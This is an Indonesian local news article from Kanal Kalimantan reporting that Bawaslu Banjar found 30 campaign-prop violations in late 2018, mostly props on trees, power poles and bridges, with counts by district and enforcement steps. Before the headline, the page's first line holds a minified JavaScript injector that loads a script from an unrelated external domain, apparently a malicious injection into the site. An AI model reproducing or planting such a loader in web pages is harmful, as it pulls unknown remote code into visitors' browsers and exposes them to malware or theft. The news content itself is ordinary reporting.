(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Pasang APK di Tiang Listrik dan Pohon Dominasi Pelanggaran Kampanye di Banjar


MARTAPURA,  Hingga akhir 2018, Badan Pengawas Pemilu (Bawaslu) Kabupaten Banjar mendapati 30 pelanggaran tahapan kampanye di 20 kecamatan, 290 desa, di Kabupaten Banjar.

Dikatakan Kordiv Pengawasan, Humas dan Hubal Bawaslu Banjar Hairul Falah, pada masa kampanye ini yang menjadi fokus pengawasan pelanggaran Bawaslu. Mulai penempatan APK (Alat Peraga Kampanye) di tempat-tempat ibadah, tempat pendidikan, rumah sakit dan fasilitas kesehatan, hingga gedung dan fasilitas pemerintah daerah.

Namun di luar itu, hingga sekarang nyatanya banyak pelanggaran yang tidak sesuai dengan peraturan KPU tentang kampanye pemilu. Seperti yang didapati Bawaslu terkait tren penempatan APK ditempatkan pada pohon, tiang listrik dan jembatan.

“Hingga sekarang kita masih belum mendapati pelanggaran di empat tempat fokus kita tadi, namun  diluar itu sudah sebanyak 30 pelanggaran APK kita temukan dibeberapa tempat seperti dipohon, tiang listrik dan jembatan,” akunya.

Lebih jauh Hairul menjelaskan, jika dilihat dari 30 pelanggaran yang ditemui berdasarkan kecamatan paling banyak ada di kecamatan Sungai Tabuk yakni 9 pelanggaran. Seperti pemasangan APK di pohon, gapura perbatasan antar desa, dan pinggir jalan depan musholla. Terbanyak kedua ditemui di Kecamatan Sambung Makmur ada 8 pelanggaran, seperti pemasangan APK dimedia pohon, 5 pelanggaran di Kecamatan Martapura.

Lalu ada 4 pelanggaran di Kecamatan Pengaron, 3 pelanggaran APK di Martapura Barat dan 1 pelanggaran pemasangan APK di Kecamatan Karang Intan. “Dari 20 Kecamatan yang kita miliki untuk pelanggaran terbanyak kita jumpai di Kecamatan Sungai Tabuk ada 9 pelanggaran APK yang diletakan di Pojon hingga halaman depan musholla,” jelasnya.

Menurut Hairul, tindak lanjut yang dilakukan Bawaslu Banjar terhadap beberapa pelanggaran tersebut tergantung menurut jenis pelanggaran yang didapati, seperti secara persuasive dengan menghubungi pihak terkait seperti parpol atau caleg dan menjelaskan terkait peraturan yang ada di UU no 7 PKPU dan Perbawaslu hingga koordinasi dan surat teguran.

“Adapun langkah yang kita ambil untuk beberapa pelanggaran tersebut tergantung jenis pelanggaran itu sendiri, mulai dari secara persuasig hingga koordinasi dan surat peringatan teguran, alhamdulilah setelah ada teguran mereka ada kesadaran untuk menggeser APK-nya,” jelas Hairul.

Sebagai langkah akhir tidak lanjut pelanggaran APK pihaknya juga membentuk satuan tugas (Satgas) yang bertugas untuk menertipkan APK yang terdiri dari penyelenggar pemilu itu sendiri, pemerintah daerah seperti Satpol PP, kepolisian, TNI dan dishub Banjar.

“Langkah itu adalah langkah terakhir yang kita lakukan apabila yang bersangkutan ketika sudah ditegur tidak memindahkan APKnya ketempat yang diperbolehkan maka tim Satgas kita akan menertipkan APK tersebut,” katanya.

Ditanya upaya Bawaslu Banjar guna mengantisipasi pelanggaran serupa? Hairul mengatakan, pihaknya sudah membuat grup stake holder Kabupaten sebagai alat komunikasi lintas partai, hingga meminta Panwaslu Kecamatan untuk bisa berkomunikasi dengan PACnya dan mengenali tim kampanye. Harapannya caleg-caleg per masing-masing daerah bisa lebih mudah disasar untuk sosialisasi.

“Untuk menekan angka pelanggaran kampanye kami sudah membuat grub stake holder sebagai alat komunikasi lintas partai hingga meminta kepada panwaslu kecamatan untuk dapat berkomunikasi langsung dengan PACnya sampai calegnya sehingga langkah itu sampai, karena relatif mereka para caleg memang tidak mengetahui aturan mainnya,” pungkasnya. (rendy)

Reporter:Rendy
Editor:Cell

Desy

Unit Cyber Kanal Kalimantan

Recent Posts

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

14 jam ago

Janji Wali Kota Yamin Tertibkan Bangunan di Atas Sungai

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More

15 jam ago

MAFINDO Kalsel Bekali Guru di Banjarmasin Memahami Teknologi Kecerdasan Buatan

KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More

15 jam ago

Pengelolaan UNESCO Global Geopark Meratus Diperkuat

Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More

21 jam ago

Mereka Menanti Skatepark di Kota Seribu Sungai

KANALKALIMANTAN.COM, BANJARMASIN – Sudah lama para skater menanti kehadiran skatepark di Kota Banjarmasin. Pasalnya, Siring… Read More

21 jam ago

Cek Kondisi Kolam Renang Idaman Terkini, Ini Respon Komisi III DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Komisi III Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru turun melakukan pengecekan… Read More

1 hari ago

This website uses cookies.